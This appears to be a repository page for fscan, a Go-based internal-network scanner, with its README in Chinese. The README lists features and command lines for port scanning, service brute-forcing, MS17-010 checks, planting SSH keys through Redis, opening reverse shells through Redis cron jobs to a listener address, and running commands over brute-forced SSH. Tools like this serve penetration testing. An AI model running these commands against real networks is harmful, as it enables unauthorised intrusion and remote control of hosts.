2020-11-13 23:57:38 +08:00
2020-11-13 23:10:08 +08:00
2020-11-13 23:13:12 +08:00
2020-11-13 23:10:08 +08:00
2020-11-13 23:10:08 +08:00
2020-11-13 23:57:38 +08:00

fscan

一款内网扫描工具,方便一键大保健。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息等。
趁着最近有空,用go把f-scrack重构了一遍。使用go来编写,也有更好的扩展性及兼容性。
还在逐步增加功能,欢迎各位师傅提意见。

why

usege

简单用法

go run main.go -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)

完整参数

Usage of C:\Users\shadow1ng\AppData\Local\Temp\___go_build_main_go__1_.exe:
  -c string
    	exec command (ssh)
  -h string
    	IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
  -m string
    	Select scan type ,as: -m ssh (default "all")
  -no
    	not to save output log
  -np
    	not to ping
  -o string
    	Outputfile (default "result.txt")
  -p string
    	Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017")
  -pwd string
    	password
  -pwdf string
    	password file
  -rf string
    	redis file to write sshkey file (as: -rf id_rsa.pub) 
  -rs string
    	redis shell to write cron file (as: -rs 127.0.0.1:4444) 
  -t int
    	Thread nums (default 100)
  -time int
    	Set timeout (default 3)
  -user string
    	username
  -userf string
    	username file

fscan.exe -h 192.168.x.x

fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写私钥)

fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)

fscan.exe -h 192.168.x.x (ms17010、读取网卡信息)

参考链接

https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo

S
Description
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
Readme
87 MiB
Languages
Go 90.9%
TypeScript 6%
Python 0.9%
Dockerfile 0.7%
PowerShell 0.3%
Other 1.1%